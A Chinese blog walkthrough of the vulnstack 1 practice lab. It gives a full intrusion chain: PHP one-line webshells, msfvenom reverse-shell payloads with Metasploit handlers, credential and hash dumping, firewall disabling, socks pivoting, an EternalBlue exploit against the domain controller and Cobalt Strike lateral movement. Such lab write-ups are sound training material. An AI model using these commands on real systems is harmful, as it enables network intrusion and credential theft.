紅日安全vulnstack (一)

不吃饱不会玩發表於2024-04-22

“感謝您閱讀本篇部落格!如果您覺得本文對您有所幫助或啟發,請不吝點贊和分享給更多的朋友。您的支援是我持續創作的動力,也歡迎留言交流,讓我們一起探討技術,共同成長!謝謝!🚀✨”

網路拓撲圖

靶機參考文章

CS/MSF派發shell

環境搭建

IP搭建教程

本機雙網路卡

65網段和83網段是自己本機電腦(虛擬機器)中的網路卡, 靶機外網的IP需要藉助我們這兩個網段之一出網

Kali IP

kali地址網路介面卡選擇,為VMnetNAT模式會透過DHCP自動獲取IP,本機65網路卡會自動分配IP 和靶機win7同網段

簡單來說,橋接模式是獨立內網IP,NAT模式則是利用物理機的地址分配一個IP和物理同一個網段,雙網路卡就是一個情況,一個網段出網路,一個不出網,不出網IP為內網網段,或者自定義也是獨立的地址

192.168.65.148 // kali 地址

掃描win7出網機開放埠,處於同一個網段可以掃描到

靶機IP

解壓後出現後最vmx字尾檔案,開啟虛擬機器自己弄好 初始密碼為hongrisec@2019

已經全部修改為saber.1029

【注意】實際上域環境三臺虛擬機器的 IP 初始狀態就已經被配置為固定的 192.168.52.XXX/24網段(同時已配置好域控 IP 必定為 192.168.52.138),故 VMware 僅主機模式的 VMnet1 網路卡應注意也配置為 192.168.52.XXX/24 網段

IP地址

主機 IP地址
kali 攻擊機 192.168.65.148(虛擬機器VMnet8網路卡) 本機雙網路卡=WIFi IP+kali IP 65+內部IP 172.28.160.1
Win7外網伺服器 外網IP 192.168.65.154 / 內網IP 192.168.52.143 提權後IP變為65.155
Win2003 域成員機 192.168.52.141 (不出網IP固定52網段)
Win2008 DC 域控 192.168.52.138 (不出網IP固定52網段)

攻擊機與win7 可以互相ping通出網,如果出現Ping不同可能是win7防火牆未關閉或未開機

Web GetShell

前期資訊收集

win7機器開啟小皮服務否則nmap無法掃描80埠和 3306

arp-scan-l    //  kali前期使用該命令掃出同有一網段下其他主機


xxxxx       // 確定了win7 IP 地地址為  192.168.65.154

掃描win7外網IP地址,目標開放了80 3306

  nmap 192.168.65.154 

kali訪問 80埠 phpinfo()頁面: 自己主機也是可以訪問到此頁面,本身就是同一個網段,win7網段是物理機給予的

御劍目錄掃描出資料庫管理後臺和beifen.rar檔案路徑

http://192.168.65.154/PhpMyAdmin
http://192.168.65.154/beifen.rar

壓縮包config.php給出了資料庫的賬戶密碼資訊

Yxcms後臺模板 Getshell

下載壓縮包解壓後根據資料夾名稱判斷是個cms 拼接訪問

主頁公告資訊洩露出了後臺管理的地址和賬戶密碼訪問後登入即可

http://192.168.65.154/yxcms/index.php?r=admin

賬戶:admimm

密碼:123456

登入後臺找到前臺模板進行編輯寫一句話木馬蟻劍聯機.

選擇編輯的檔案為index_index.php 猜測應該是網站起始吧最好找路徑

一句話🐎

<?php eval($_POST["cmd"]);
phpinfo(); // 新增列印函式佐證
echo 'aaaaa'; // 輸出 aaaaa
?>

訪問網站前臺馬子上線,掏出蟻劍連線,取得webshell

PHPMyAdmin日誌 Getshell

資料庫登入如果無密碼只能嘗試弱口令了,這裡是應該前期找檔案已經有了密碼直接登入就行了

賬號: root 

密碼: root

into outfile寫入一句話 X

INTO OUTFILE是MySQL資料庫中的一個語句,它可以將查詢結果寫入到檔案中

條件

  1. root許可權
  2. 知道絕對路徑
  3. secure_file_priv沒有具體值

使用INTO OUTFILE將結果寫入到檔案中

SELECT 'Hello, world!' AS message INTO OUTFILE '/path/to/file.txt';

這樣檔案"/path/to/file.txt"的內容將變為:

Hello, world!

前期透過最高許可權的賬號登入了,並且原始碼洩露和phpinfo()已經知道了絕對路徑,查secure_fiel_priv

show global variables like "%secure%"; // 查詢

value為“null”時,不允許讀取任意檔案

value為“空”時,允許讀取任意檔案

這裡值為null無法執行

phpmyadmin 日誌寫入一句話

使用語句查詢路徑,這是已經修改過的

show global variables like "%general%"; 

使用命令修改配置開關和路徑

set global general_log="on";                //開啟日誌,修改為on

//修改日誌路徑(在上面提到的phpinfo.php中有洩露路徑)

set global general_log_file="C:/phpStudy/WWW/a.php";  


利用日誌寫入一句話木馬位置是在網站www根目錄下的a.php 直接訪問連線

SELECT'<?php eval($_POST["cmd"]);?>' 

蟻劍連線成功取得webshell

後滲透

MSF 生成木馬上線

Kali進入MSF生成shell.exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.65.148  LPORT=1111 -f exe -o shell.exe

// -p為指定payload,使用msf的payload的時候要和這個相同,
//lhost為Kali ip,lport為 自定義埠,-f為payload型別為exe

複製木馬使用蟻劍將檔案上傳到win7目錄下

msf開啟監聽迴響用handler模組接收反彈模組

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.65.148
set lport 1111
exploit

蟻劍虛擬終端執行exe檔案 MSF成功反彈shell

反彈shell後先檢視當前使用者,而後透過getsystem命令直接進行提權到系統許可權

getuid // 獲取當前使用者ID


getsystem // 用於獲取系統許可權的命令,通常在滲透測試中用於嘗試提升當前使用者許可權至系統管理員許可權。
          // 這個命令通常在攻擊者已經獲得一定許可權的情況下使用,以獲取更高階別的許可權。在實際操作中,getsystem命令可能會利用系統中的漏洞或弱點,以獲取系統管理員許可權

提取使用者hash

run post/windows/gather/smart_hashdump   // 提取命令

load kiwi // 載入抓取密碼工具

creds_all  // 抓取

**hash**加密方式

Windows系統中,雜湊密碼的格式通常為:使用者名稱稱:RID:LM-HASH值:NT-HASH值。
其中,NT-HASH是透過以下步驟生成的:

1. 將明文口令轉換成十六進位制的格式。
2. 將轉換後的十六進位制字串轉換成Unicode格式,即在每個位元組之後新增0x00。
3. 對Unicode格式的字串進行MD4加密,生成32位的十六進位制數字串

舉例來說,如果使用者密碼為test123,首先將其轉換成十六進位制的格式為74657374313233
然後轉換成Unicode格式為7400650073007400310032003300。
最後,對Unicode字串7400650073007400310032003300進行MD4加密,
得到NT-HASH值為c5a237b7e9d8e708d8436b6148a25fa1。

這個NT-HASH值可以用於驗證使用者的身份而無需儲存明文密碼。
run post/windows/manage/enable_rdp  // 開啟3389遠端桌面

nmap 探測屬於3389埠處於開啟狀態

sessions -i  # 檢視所有會話 這個要回到msf模組下才能看到

sessions 1  # 選擇為此ID為1的會話

MSF許可權ShellCS

開啟CS 物理機Windows作為客戶端 Kali作為服務端啟動

建立監聽器,埠號需和IP需和MSF監聽設定一致,這裡的IPkali地址

MSF 執行命令派發

bg  # 退出回到反彈模組
use exploit/windows/local/payload_inject # 本地漏洞利用模組payload_inject。這個模組通常用於在目標系統上注入惡意程式碼或payload
set payload windows/meterpreter/reverse_http # :設定payload 表示在目標系統上使用Meterpreter反向HTTP負載。這將允許建立一個反向連線
set DisablePayloadHandler true   #payload_inject執行之後會在本地產生一個新的handler,設定為true表示不重複生成
set lhost 192.168.65.148                #公網vps ip
set lport 80                 #監聽埠需和CS設定一直
set session 1                   #派發session 為1 也就是第一個會話 透過會話列表可以檢視
exploit


CS客戶端成功收到反彈shell

CS 生成木馬上線

CS上傳非常簡單,參考前文過程,生成的木馬透過前文的蟻劍上傳win7執行即可,上線,後續對win7資訊收集和橫向移動其他域內其他主機

蟻劍下操作 


dir   // 列出當前目錄下所有檔案
.\beacon.exe // 執行木馬檔案 CS 成功上線

提權system

  • svc-exe 提權

    1.建立一個以system許可權啟動的程式,這個程式的作用是連線指定的命名管道。

    2.建立一個程序,並讓程序建立命名管道。

    3.讓之前的以system許可權啟動的程式啟動並連線這個命名管道。

    4.利用ImpersonateNamedPipeClient()函式生成system許可權的token。

    5.利用system許可權的token啟動cmd.exe

資訊收集

sleep 0  // 修改心跳速度為0 立馬響應


shell systeminfo  // 檢視主機系統詳細資訊

檢視進行和防火牆開啟狀態是為了判斷是是否有防護軟體,但是顯然是沒有的,不然CS生成無免殺的馬子是不能上傳到win7伺服器

shell tasklist // 檢視被控主機程序列表

shell netsh firewall show state  // 檢視防火牆狀態是否開啟,操作模式為禁用代表防火牆為關閉狀態


出現命令提示:

Microsoft已經將防火牆管理工具從"netsh firewall"遷移到了"netsh advfirewall firewall"。
這種更改可能是為了提高安全性、功能性或效能等方面的考慮

  shell netsh advfirewall set allprofile state off // 完全關閉防火牆命令

域資訊收集

shell net config Workstation  // 檢視域資訊

shell  view  // 檢視當前域內列表,點選上方定位圓圈就可以看到

net dclist // 檢視域控列表

抓取憑證hash win7主機3個使用者賬戶密碼

抓取明文密碼

CS許可權shellMSF

MSF開啟監聽模組,使用一個埠進行監聽

msfconsole // 開啟MSF
use exploit/multi/handler  // 使用監聽模組
set payload windows/meterpreter/reverse_htpp // 反向連線 CS將得到的許可權反彈至MSF,協議和監聽器一致
set lhost 0.0.0.0  // IP地址為任意的 任意地址流量都可以反彈
set lport 6666// 埠和監聽器設定一致 
run  // 開啟監聽

CS這裡是已經透過反向木馬得到了shell,生成的木馬監聽器就是HTTP的,所以許可權給msf時,新建的監聽器還是HTTP

CS在需要委派的許可權主機右鍵新建會話,則選擇新的監聽器為我們建立的

橫向移動

橫向滲透,使攻擊機利用win7做跳板直接通訊到域控,利用win7為媒介

kali 攻擊機 192.168.65.148
Win7外網伺服器 外網IP 192.168.65.154 / 內網IP 192.168.52.143
Win2008 DC 域控 192.168.52.138 (不出網IP固定52網段)

MSF

MSF路由+Socks代理通訊

橫向滲透前,將win7作為跳板機,將其內網52網段新增到路由,利用msf路由和socks配置讓同一網段的機器可以通訊到

run post/multi/manage/autoroute  // 在當前會話自帶新增路由 (攻擊機新增一個網段和被控主機一個網段 52網段)
run autoroute -p  // 檢視當前路由 已經新增好了52網段

設定proxychains代理,,現在只是msf工具以使用,但的工具還是沒有通訊的,所以再次建立一個路由

bg // 退回msfshell模式

use auxiliary/server/socks_proxy   // 使用socks代理 // 改名字了和之前小迪做的不一樣

show options  // 檢視設定

set srvhost 127.0.0.1  // 設定代理為本地

set srvport 888  // 有點問題再開了一個代理 埠為888

run  //  執行

jobs  // 檢視後臺任務

找到proxychains4.conf檔案因為不會vim操作起來很不舒服,定位到埠位置,點選x後可以刪除,點選i開始新增對應的埠號 和前文設定一致

ms17_010永恆之藍445

昨晚配置路由和socks之後正常是kali是可以接收到52網段的流量,然後使用nmap探測開放埠,會探測到445然後打永恆之藍得到許可權

socks開啟監聽一個埠,將此流量轉發給msf因為埠號設定一致,msf新增了路由,所以流量又被帶入內網中,在kali中的工具都可以監聽到

proxychains  nmap -Pn -sT 192.168.52.138

xxxx 發現存在445埠

檢測永恆之藍可能存在的地址

search ms17-010 
use auxiliary/scanner/smb/smb_ms17_010  // 永恆之藍漏洞掃描檢測模組
set rhosts 192.168.3.21-32  // 檢測此IP範圍內
run 

命令列出現 Host 漏洞可能存在,使用漏洞攻擊模組進行攻擊

這裡域控密碼忘記了登入補上.但總的就是這個意思了,先設定跳板機和sosks進行通訊,而後透過開放的埠利用永恆之藍去打域控,打下了域控也就是差不多了

use exploit/windows/smb/ms17_010_eternalblue  // use 0 // 利用模組

set payload windows/x64/meterpreter/reverse_tcp // 設定攻擊載荷反向

set lhost 192.168.52.143  //  地址為 跳板機win7地址,因為要透過它去打域控地址 138

set rhosts 192.168.52.138  //  被攻擊的地址為域控

set lport  5555 // 隨意選擇kali一個埠進行監聽

run  // 執行即可

CS

建立SMB監聽器橫向

SMB Beacon相對隱蔽,繞防火牆時可能發揮奇效(系統防火牆預設是允許445的埠與外界通訊的,其他埠可能會彈窗提醒,會導致遠端命令列反彈shell失敗),此流量封裝在SMB協議中

DC域控進行橫向移動利用先前抓取的明文密碼,配合SMB監聽器,

執行後直接用抓取到的明文去移動直接正向連線域控主機,接下來可以拿域控去打另外一臺機器,這是第一種派生方式,第二種beacon 上建立監聽,用來作為跳板進行內網穿透 前提是能夠透過 shell 之類訪問到內網其他主機

橫向移動psexec

感覺這個就是拿明文去移動啟動機器了,psexec屬於登入命令,在有密碼情況下遠端登入其他主機執行命令

簡單粗暴拿下

相關文章